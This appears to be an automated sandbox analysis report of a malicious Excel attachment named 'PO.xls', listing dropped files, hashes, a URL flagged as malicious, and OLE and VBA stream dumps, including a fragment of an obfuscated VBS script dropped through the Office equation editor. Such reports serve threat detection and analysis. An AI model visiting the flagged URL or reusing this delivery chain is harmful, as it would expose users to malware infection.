MD5:	543ED1B9E0FD933A2426847EF1594355
SHA1:	BC590CBC3784B802DFD009F6CAC49575BF8C6A21
SHA-256:	9919B84E6558D3D26018ACCAAA8233E8028DFB89F3B193E90315931C25BD9939
SHA-512:	B8A8DFA3F421C8569D969EE5100503E463B01952C70AA759B23D2E4478E4A3D49DCCA31F47112B27E208A0699F8763619BCB6B269BC9256E441F27C29A636A76
Malicious:	false
Preview:	......................>................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................... ...!..."...#...$...%...&...'...(...)...*...+...,...-......./...0...1...2...3...4...5...6...7...8...9...:...;...<...=...>...?...@...A...B...C...D...E...F...G...H...I...J...K...L...M...N...O...P...Q...R...S...T...U...V...W...X...Y...Z...[...\...]...^..._...`...a...b...c...d...e...f...g...h...i...j...k...l...m...n...o...p...q...r...s...t...u...v...w...x...y...z...

C:\Users\user\AppData\Local\Temp\~DFEB8E67A7BEDB9502.TMP

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	BF619EAC0CDF3F68D496EA9344137E8B
SHA1:	5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
SHA-256:	076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
SHA-512:	DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\a9ifFT.url

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	MS Windows 95 Internet shortcut text (URL=<https://strmr.co/a9ifFT>), ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	49
Entropy (8bit):	4.62682470214446
Encrypted:	false
SSDEEP:	3:HRAbABGQYm2fk6Z00ovn:HRYFVm4kbJ
MD5:	FD0188D534F8569CE8E480FD6FE20B61
SHA1:	FCF4C48F3ACD4D3C06CC77CF0FC036F3D628B693
SHA-256:	07FDB15852BF5D93A4FFFC256031BC03DCCE3F55370DDA6E3DDA054794A62F8C
SHA-512:	D9EEE8C4B19A81BE40FA2862AAC01750619F1C5080A2E867B17E88D8ACE6D522EB1FAF32EE71BCD5FDC8EF26EB1C083A7433225B5A269F6A2259DCA44647322C
Malicious:	true
Preview:	[InternetShortcut]..URL=https://strmr.co/a9ifFT..

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\index.dat

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	Generic INItialization configuration [xls]
Category:	modified
Size (bytes):	68
Entropy (8bit):	4.572849334490178
Encrypted:	false
SSDEEP:	3:bDoKYh6ZW4dd6YCmMXYCv:bkV644dd6YUXYs
MD5:	AE64185D02A472ACAA75038ADF8FA595
SHA1:	2A42CB63BD0857954D9B9B1FEF8B7A815CF1DBBE
SHA-256:	0453192C0F27FC5FDFBAC2E671D6006B855F5FB9A2D5820D706B0B825DC319D4
SHA-512:	FC2D366AB5BA0F4551CD102229C2B4FB1C29BE7590A3CAEDB593E902E131B301AD79A8DB580663F8DB5EA0149DE7295542666019377D356BF474B0616D09D152
Malicious:	false
Preview:	[folders]..a9ifFT.url=0..strmr.co.url=0..PO.LNK=0..[xls]..PO.LNK=0..

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\strmr.co.url

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	MS Windows 95 Internet shortcut text (URL=<https://strmr.co/>), ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	43
Entropy (8bit):	4.300535174316826
Encrypted:	false
SSDEEP:	3:HRAbABGQYm2fk6ZD:HRYFVm4kE
MD5:	6B0CC25F2A1C5022663F9504B1978D43
SHA1:	524A2AE756F4DB590A6F3981312C936F8B64B6D2
SHA-256:	462CADC2A9625BB09682AAC27CD23FA484AE4638805E1ED16F0B82DDCD58EEB7
SHA-512:	7DF469932CF64B9A65EE01878C68F16E56C4C1514D1A449754C73D5F840A0556CC7D2CE521F8444F0314B708C8EF3111C88AE272479077D7F341DA96DBFEAF13
Malicious:	true
Preview:	[InternetShortcut]..URL=https://strmr.co/..

C:\Users\user\AppData\Roaming\Microsoft\Templates\~$Normal.dotm

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	162
Entropy (8bit):	2.503835550707525
Encrypted:	false
SSDEEP:	3:vrJlaCkWtVypil69oycWjUbtFJlln:vdsCkWtTl69oyjUvl
MD5:	CB3D0F9D3F7204AF5670A294AB575B37
SHA1:	5E792DFBAD5EDA9305FCF8F671F385130BB967D8
SHA-256:	45968B9F50A9B4183FBF4987A106AB52EB3EF3279B2118F9AB01BA837DC3968A
SHA-512:	BD116CAF3ACA40A5B90168A022C84923DB51630FA0E62E46020B71B8EB9613EAE776D476B0C6DE0D5F15642A74ED857765150F406937FBA5CB995E9FCDAC81AE
Malicious:	false
Preview:	.user..................................................A.l.b.u.s.............p........1...............2..............@3...............3......z.......p4......x...

C:\Users\user\AppData\Roaming\nicepicturewithyourebodygreen.vBS

Process:	C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	287788
Entropy (8bit):	3.7504621377581446
Encrypted:	false
SSDEEP:	6144:B67qps7ACJHiVKcfGDFrAjG/1e5iXS3VgIOn1SMTXAPwNox:uqps7ACIhUFUjG/qii3Vgfn1SMMPVx
MD5:	9AD8FFC121555E095C50E055C94F5C1E
SHA1:	880257375B655F27C6CB156BC295574BBDA06130
SHA-256:	D96A7A5F278ECED0B23141D34A5A8A465D88085D4E0007D201EFB6C1F2DE34B0
SHA-512:	D9C6ABDD4F3239E4099791BE19721500214A38ED4665FF81D97865AFCA18D0E79DE1C0734DC31790A0BF051880C7F7B563AC171EE624CDD1F90B2B44C018D448
Malicious:	true
Preview:	..Z.z.v.l.L.G.T.W.W.t.G.k.L.L.a.L.R.l.i.W.O.I.b.c.s.J.W.H.c.U.z. .=. .".s.t.f.U.A.t.W.J.k.C.K.n.U.L.R.R.A.z.W.i.W.z.h.R.L.x.S.G.N.K.K.".....U.T.h.C.a.b.a.l.a.d.o.B.K.L.i.m.h.z.e.h.z.j.L.i.B.c.G.b.i.G.c.b.L.Z.P.L. .=. .".p.k.U.i.l.c.x.a.K.n.R.o.h.n.K.k.B.L.L.K.W.L.L.U.t.a.A.n.W.n.B.".....o.m.N.B.k.C.m.i.p.Z.n.h.l.m.g.b.d.a.B.A.e.L.j.G.z.Z.v.U.c.K.i. .=. .".W.R.a.k.L.U.p.K.Z.R.K.I.e.c.i.U.l.o.L.b.g.G.U.c.i.H.d.p.b.j.Z.".....C.L.c.p.m.d.x.g.P.c.L.W.P.P.i.K.K.A.o.I.S.j.P.t.L.q.x.L.K.f.l. .=. .".v.L.c.A.t.L.W.W.C.C.j.f.n.p.Z.N.q.K.G.d.R.L.A.z.i.P.A.i.x.W.L.".....q.L.W.U.A.k.N.A.b.G.e.G.b.u.c.u.b.o.f.c.U.e.K.h.L.i.x.e.K.W.b. .=. .".c.b.z.p.U.z.A.z.W.d.v.x.K.s.a.i.U.q.b.k.T.O.W.f.q.G.o.z.k.x.f.".....G.l.G.K.c.m.x.W.a.R.K.B.G.W.L.L.x.b.s.N.k.x.L.B.u.U.Q.c.u.t.b. .=. .".j.t.p.h.m.e.b.P.J.x.I.f.C.P.f.k.Z.A.G.h.C.O.W.x.i.G.c.c.W.x.d.".....s.P.A.o.U.z.l.c.N.P.r.L.W.c.H.f.n.W.z.e.Z.K.U.W.l.i.U.h.b.P.m. .=. .".l.i.c.L.R.c.R.U.x.L.d.W.m.P.k.a.W.p.G.i.L.K.W.L.W.p.a.k.i.b.Q.".....b.W.i.H.W.W.N.G.W.m.k.

C:\Users\user\Desktop\62830000

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1252, Name of Creating Application: Microsoft Excel, Create Time/Date: Sat Sep 16 01:00:00 2006, Last Saved Time/Date: Fri Sep 27 11:52:06 2024, Security: 1
Category:	dropped
Size (bytes):	726528
Entropy (8bit):	7.977304346981028
Encrypted:	false
SSDEEP:	12288:BT5UOAsHFnd7HeT/o8gg8Rsfe8sWAH6+BkLp8KWBeUXVjkbcgTDOk3apxXjeVF:1LpsAbg8R6AH1BkyK2DFjXgfr34peVF
MD5:	F24C0FDC98F2402433C596D74348EECE
SHA1:	D97BC6C096FCB9DCC9F879D683313F8C3161C0C6
SHA-256:	43FEF6721D750CE7937D1F9027A7EC768996C77CEA9BF8C3A95F0FC0C1B9592E
SHA-512:	C37A55FFBD837E0614CB8F4859E174B8869883B4D3B24747D7C8E334D12C62043CAE055D3C51153EB7C221E883A9B395F9D105FCAC9AA82479A6EB169D814A72
Malicious:	false
Preview:	......................>...................................w...................................y.......{.......}........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................... ...!..."...#...$...%...&...'...(...)...*...+...,...-......./...0...1...2...3...4...5...6...7...8...9...:...;...<...=...>...?...@...A...B...C...D...E...F...G...H...I...J...K...L...M...N...O...P...Q...R...S...T...U...V...W...X...Y...Z...[...\...]...^..._...`...a...b...c...d...e...f...g...h...i...j...k...l...m...n...o...p...q...r...s...t...u...v...w...x...y...z...

C:\Users\user\Desktop\62830000:Zone.Identifier

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	false
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\Desktop\PO.xls (copy)

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1252, Name of Creating Application: Microsoft Excel, Create Time/Date: Sat Sep 16 01:00:00 2006, Last Saved Time/Date: Fri Sep 27 11:52:06 2024, Security: 1
Category:	dropped
Size (bytes):	726528
Entropy (8bit):	7.977304346981028
Encrypted:	false
SSDEEP:	12288:BT5UOAsHFnd7HeT/o8gg8Rsfe8sWAH6+BkLp8KWBeUXVjkbcgTDOk3apxXjeVF:1LpsAbg8R6AH1BkyK2DFjXgfr34peVF
MD5:	F24C0FDC98F2402433C596D74348EECE
SHA1:	D97BC6C096FCB9DCC9F879D683313F8C3161C0C6
SHA-256:	43FEF6721D750CE7937D1F9027A7EC768996C77CEA9BF8C3A95F0FC0C1B9592E
SHA-512:	C37A55FFBD837E0614CB8F4859E174B8869883B4D3B24747D7C8E334D12C62043CAE055D3C51153EB7C221E883A9B395F9D105FCAC9AA82479A6EB169D814A72
Malicious:	true
Preview:	......................>...................................w...................................y.......{.......}........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................... ...!..."...#...$...%...&...'...(...)...*...+...,...-......./...0...1...2...3...4...5...6...7...8...9...:...;...<...=...>...?...@...A...B...C...D...E...F...G...H...I...J...K...L...M...N...O...P...Q...R...S...T...U...V...W...X...Y...Z...[...\...]...^..._...`...a...b...c...d...e...f...g...h...i...j...k...l...m...n...o...p...q...r...s...t...u...v...w...x...y...z...

Static File Info

General

File type:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.2, Code page: 1252, Name of Creating Application: Microsoft Excel, Create Time/Date: Sat Sep 16 01:00:00 2006, Last Saved Time/Date: Fri Sep 27 10:09:48 2024, Security: 1
Entropy (8bit):	7.967559875681491
TrID:	Microsoft Excel sheet (30009/1) 47.99% Microsoft Excel sheet (alternate) (24509/1) 39.20% Generic OLE2 / Multistream Compound File (8008/1) 12.81%
File name:	PO.xls
File size:	723'456 bytes
MD5:	aceb61a7c1ea841efa668c8a5b3427d7
SHA1:	af4fb51f1094df5ef6cea47ee227dc4f6f7c20bf
SHA256:	1aa355143beeb4fdf79de0c7f79560cf62f10a394cb15d41f5fe7f8672ba8f98
SHA512:	c438ccdf87c10567b286dc5af88409fccd70388eb0df399e0324a797956fddf430c1c67880bb9d5e7472195228b3729e3ce45514200c417dc6fccb79398ea9bd
SSDEEP:	12288:L+UOAsHFnd7HeT/o8gg8Rsfe8GGNPKTs3+9PcEqI2mt07ll829urVLXwL0WDvRFv:LepsAbg8RN5s3+LbqZC2YcJF2
TLSH:	4FF4121BBA85C262C0E6DA7D55C4C09201AEFD4A9FE6AE033A4577FC3D3E231574688D
File Content Preview:	........................>...............................................................................c.......e..............................................................................................................................................

File Icon


Icon Hash:	276ea3a6a6b7bfbf

Static OLE Info

General

Document Type:	OLE
Number of OLE Files:	1

OLE File "PO.xls"

Indicators

Has Summary Info:
Application Name:	Microsoft Excel
Encrypted Document:	True
Contains Word Document Stream:	False
Contains Workbook/Book Stream:	True
Contains PowerPoint Document Stream:	False
Contains Visio Document Stream:	False
Contains ObjectPool Stream:	False
Flash Objects Count:	0
Contains VBA Macros:	True

Summary

Code Page:	1252
Author:
Last Saved By:
Create Time:	2006-09-16 00:00:00
Last Saved Time:	2024-09-27 09:09:48
Creating Application:	Microsoft Excel
Security:	1

Document Summary

Document Code Page:	1252
Thumbnail Scaling Desired:	False
Contains Dirty Links:	False
Shared Document:	False
Changed Hyperlinks:	False
Application Version:	786432

Streams with VBA

VBA File Name: Sheet1.cls, Stream Size: 977

General
Stream Path:	_VBA_PROJECT_CUR/VBA/Sheet1
VBA File Name:	Sheet1.cls
Stream Size:	977
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . t * ' . . # . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M E . . . . . . . . . . . . . . . . . . . . . . . ( . . . . . S L . . . . S . . . . . S . . . . . < . . . . . . . . . . N . 0 . { . 0 . 0 . 0 . 2 . 0 . 8 . 2 . 0 . -
Data Raw:	01 16 01 00 00 f0 00 00 00 c4 02 00 00 d4 00 00 00 00 02 00 00 ff ff ff ff cb 02 00 00 1f 03 00 00 00 00 00 00 01 00 00 00 74 98 2a 27 00 00 ff ff 23 01 00 00 88 00 00 00 b6 00 ff ff 01 01 00 00 00 00 ff ff ff ff 00 00 00 00 ff ff ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

VBA Code

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

VBA File Name: Sheet2.cls, Stream Size: 977

General
Stream Path:	_VBA_PROJECT_CUR/VBA/Sheet2
VBA File Name:	Sheet2.cls
Stream Size:	977
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . t . . . # . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M E . . . . . . . . . . . . . . . . . . . . . . . ( . . . . . S L . . . . S . . . . . S . . . . . < . . . . . . . . . . N . 0 . { . 0 . 0 . 0 . 2 . 0 . 8 . 2 . 0 . - .
Data Raw:	01 16 01 00 00 f0 00 00 00 c4 02 00 00 d4 00 00 00 00 02 00 00 ff ff ff ff cb 02 00 00 1f 03 00 00 00 00 00 00 01 00 00 00 74 98 14 e5 00 00 ff ff 23 01 00 00 88 00 00 00 b6 00 ff ff 01 01 00 00 00 00 ff ff ff ff 00 00 00 00 ff ff ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

VBA Code

Attribute VB_Name = "Sheet2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

VBA File Name: Sheet3.cls, Stream Size: 977

General
Stream Path:	_VBA_PROJECT_CUR/VBA/Sheet3
VBA File Name:	Sheet3.cls
Stream Size:	977
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . t 3 . . . # . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M E . . . . . . . . . . . . . . . . . . . . . . . ( . . . . . S L . . . . S . . . . . S . . . . . < . . . . . . . . . . N . 0 . { . 0 . 0 . 0 . 2 . 0 . 8 . 2 . 0 . -
Data Raw:	01 16 01 00 00 f0 00 00 00 c4 02 00 00 d4 00 00 00 00 02 00 00 ff ff ff ff cb 02 00 00 1f 03 00 00 00 00 00 00 01 00 00 00 74 98 33 0c 00 00 ff ff 23 01 00 00 88 00 00 00 b6 00 ff ff 01 01 00 00 00 00 ff ff ff ff 00 00 00 00 ff ff ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

VBA Code

Attribute VB_Name = "Sheet3"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

VBA File Name: ThisWorkbook.cls, Stream Size: 985

General
Stream Path:	_VBA_PROJECT_CUR/VBA/ThisWorkbook
VBA File Name:	ThisWorkbook.cls
Stream Size:	985
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . t 9 . . # . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M E . . . . . . . . . . . . . . . . . . . . . . . ( . . . . . S L . . . . S . . . . . S . . . . . < . . . . . . . . . . N . 0 . { . 0 . 0 . 0 . 2 . 0 . 8 . 1 . 9 . - .
Data Raw:	01 16 01 00 00 f0 00 00 00 c4 02 00 00 d4 00 00 00 00 02 00 00 ff ff ff ff cb 02 00 00 1f 03 00 00 00 00 00 00 01 00 00 00 74 98 a2 39 00 00 ff ff 23 01 00 00 88 00 00 00 b6 00 ff ff 01 01 00 00 00 00 ff ff ff ff 00 00 00 00 ff ff ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

VBA Code

Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Streams

Stream Path: \x1CompObj, File Type: data, Stream Size: 114

General
Stream Path:	\x1CompObj
CLSID:
File Type:	data
Stream Size:	114
Entropy:	4.25248375192737
Base64 Encoded:	True
Data ASCII:	. . . . . . . . . . . . . . . . . . . F & . . . M i c r o s o f t O f f i c e E x c e l 2 0 0 3 W o r k s h e e t . . . . . B i f f 8 . . . . . E x c e l . S h e e t . 8 . 9 q . . . . . . . . . . . .
Data Raw:	01 00 fe ff 03 0a 00 00 ff ff ff ff 20 08 02 00 00 00 00 00 c0 00 00 00 00 00 00 46 26 00 00 00 4d 69 63 72 6f 73 6f 66 74 20 4f 66 66 69 63 65 20 45 78 63 65 6c 20 32 30 30 33 20 57 6f 72 6b 73 68 65 65 74 00 06 00 00 00 42 69 66 66 38 00 0e 00 00 00 45 78 63 65 6c 2e 53 68 65 65 74 2e 38 00 f4 39 b2 71 00 00 00 00 00 00 00 00 00 00 00 00

Stream Path: \x5DocumentSummaryInformation, File Type: data, Stream Size: 244

General
Stream Path:	\x5DocumentSummaryInformation
CLSID:
File Type:	data
Stream Size:	244
Entropy:	2.889430592781307
Base64 Encoded:	False
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . + , 0 . . . . . . . . . . . . . . H . . . . . . . P . . . . . . . X . . . . . . . ` . . . . . . . h . . . . . . . p . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . S h e e t 1 . . . . . S h e e t 2 . . . . . S h e e t 3 . . . . . . . . . . . . . . . . . W o r k s h e e t s . . . . . . . . .
Data Raw:	fe ff 00 00 06 02 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 02 d5 cd d5 9c 2e 1b 10 93 97 08 00 2b 2c f9 ae 30 00 00 00 c4 00 00 00 08 00 00 00 01 00 00 00 48 00 00 00 17 00 00 00 50 00 00 00 0b 00 00 00 58 00 00 00 10 00 00 00 60 00 00 00 13 00 00 00 68 00 00 00 16 00 00 00 70 00 00 00 0d 00 00 00 78 00 00 00 0c 00 00 00 a1 00 00 00 02 00 00 00 e4 04 00 00

Stream Path: \x5SummaryInformation, File Type: data, Stream Size: 200

General
Stream Path:	\x5SummaryInformation
CLSID:
File Type:	data
Stream Size:	200
Entropy:	3.1947979788081455
Base64 Encoded:	False
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . O h . . . + ' 0 . . . . . . . . . . . . . . @ . . . . . . . H . . . . . . . T . . . . . . . ` . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M i c r o s o f t E x c e l . @ . . . . \| . # . @ . . . . s . . . . . . . . . . .
Data Raw:	fe ff 00 00 06 02 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 e0 85 9f f2 f9 4f 68 10 ab 91 08 00 2b 27 b3 d9 30 00 00 00 98 00 00 00 07 00 00 00 01 00 00 00 40 00 00 00 04 00 00 00 48 00 00 00 08 00 00 00 54 00 00 00 12 00 00 00 60 00 00 00 0c 00 00 00 78 00 00 00 0d 00 00 00 84 00 00 00 13 00 00 00 90 00 00 00 02 00 00 00 e4 04 00 00 1e 00 00 00 04 00 00 00

Stream Path: MBD003D5860/\x1CompObj, File Type: data, Stream Size: 99

General
Stream Path:	MBD003D5860/\x1CompObj
CLSID:
File Type:	data
Stream Size:	99
Entropy:	3.631242196770981
Base64 Encoded:	False
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . ! . . . M i c r o s o f t O f f i c e E x c e l W o r k s h e e t . . . . . E x c e l M L 1 2 . . . . . 9 q . . . . . . . . . . . .
Data Raw:	01 00 fe ff 03 0a 00 00 ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 21 00 00 00 4d 69 63 72 6f 73 6f 66 74 20 4f 66 66 69 63 65 20 45 78 63 65 6c 20 57 6f 72 6b 73 68 65 65 74 00 0a 00 00 00 45 78 63 65 6c 4d 4c 31 32 00 00 00 00 00 f4 39 b2 71 00 00 00 00 00 00 00 00 00 00 00 00

Stream Path: MBD003D5860/Package, File Type: Microsoft Excel 2007+, Stream Size: 323372

General
Stream Path:	MBD003D5860/Package
CLSID:
File Type:	Microsoft Excel 2007+
Stream Size:	323372
Entropy:	7.9851985474292935
Base64 Encoded:	True
Data ASCII:	P K . . . . . . . . . . ! . . . . . . . . . . . [ C o n t e n t _ T y p e s ] . x m l . ( . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Data Raw:	50 4b 03 04 14 00 06 00 08 00 00 00 21 00 94 ec d8 8a aa 01 00 00 c0 06 00 00 13 00 d6 01 5b 43 6f 6e 74 65 6e 74 5f 54 79 70 65 73 5d 2e 78 6d 6c 20 a2 d2 01 28 a0 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Stream Path: MBD003D5861/\x1Ole, File Type: data, Stream Size: 356

General
Stream Path:	MBD003D5861/\x1Ole
CLSID:
File Type:	data
Stream Size:	356
Entropy:	5.93375527116359
Base64 Encoded:	False
Data ASCII:	. . . . W . 0 d : . . . . . . . . . . . . . . . y . . . K . . . . h . t . t . p . s . : . / . / . s . t . r . m . r . . . c . o . / . a . 9 . i . f . F . T . . . N ] 9 o 6 . . - . . . M . 3 c . . . M I 9 N . . . U / . . L B / . U 1 . 2 x } V \| A J . . c $ { . \| R x M [ H . . . . . M * . . . . h X g . 7 w ` m > . d . . . . . . . . . . . . . . . . . @ . . . J . 3 . r . w . M . E . D . T . k . n . 3 . q . 6 . z . f . c . Q . P . L . f . B . Y . E . d . E . M . r . 8 . q . h . Q . . . _ * y . X J . w 5 \\ ) M T
Data Raw:	01 00 00 02 f1 57 a9 03 30 e7 64 3a 00 00 00 00 00 00 00 00 00 00 00 00 c4 00 00 00 e0 c9 ea 79 f9 ba ce 11 8c 82 00 aa 00 4b a9 0b c0 00 00 00 68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 73 00 74 00 72 00 6d 00 72 00 2e 00 63 00 6f 00 2f 00 61 00 39 00 69 00 66 00 46 00 54 00 00 00 4e 5d ca 39 6f e4 36 a9 e4 da 14 ea 81 92 2d 97 d0 87 1b 17 4d 91 8e cc a9 33 8a 63 0c d0 a4 09

Stream Path: Workbook, File Type: Applesoft BASIC program data, first line number 16, Stream Size: 379921

General
Stream Path:	Workbook
CLSID:
File Type:	Applesoft BASIC program data, first line number 16
Stream Size:	379921
Entropy:	7.998962777529194
Base64 Encoded:	True
Data ASCII:	. . . . . . . . . . . . . . . . . / . 6 . . . . . . . i d - . & . . ~ 0 + X 4 G B i f . . / . 3 E . . . . . . . . . { . . . \\ . p . . I . J . Z z Q p q . n 7 . o . d K L . z . . . Q v . n A . q f d . r . & . . $ g . i . U g P . ` 8 . > u 0 3 , F 9 . . { B . . . 6 ] a . . . . > . . . = . . . r v ] & . . . 2 r W . O u 5 < . . . % . . . . . . . . . . . . . . 9 . . . . . . = . . . L B Q k i . G . . @ . . . ~ . . . [ h " . . . d . . . . . . . . . u . . . & % 1 . . . . ( z . t 8 ' ? ~ p . ~ ] . O [ 1 . . . Y ; P
Data Raw:	09 08 10 00 00 06 05 00 ab 1f cd 07 c1 00 01 00 06 04 00 00 2f 00 36 00 01 00 01 00 01 00 f3 a5 69 64 a5 2d b1 9c ce bc a3 96 26 90 90 e7 16 93 ef aa 04 ce 7e 30 2b c0 58 c6 34 47 42 69 a1 cd 66 06 b7 b6 1b 2f 1a 33 9b b5 45 bc 0a 16 e1 00 02 00 b0 04 c1 00 02 00 c1 7b e2 00 00 00 5c 00 70 00 1f 49 82 08 4a d4 a4 a7 5a 7a 83 a3 a0 f4 51 bf 70 8c 71 18 6e 37 1e 6f b4 c0 83 f8 1d 64

Stream Path: _VBA_PROJECT_CUR/PROJECT, File Type: ASCII text, with CRLF line terminators, Stream Size: 533

General
Stream Path:	_VBA_PROJECT_CUR/PROJECT
CLSID:
File Type:	ASCII text, with CRLF line terminators
Stream Size:	533
Entropy:	5.273446452538851
Base64 Encoded:	True
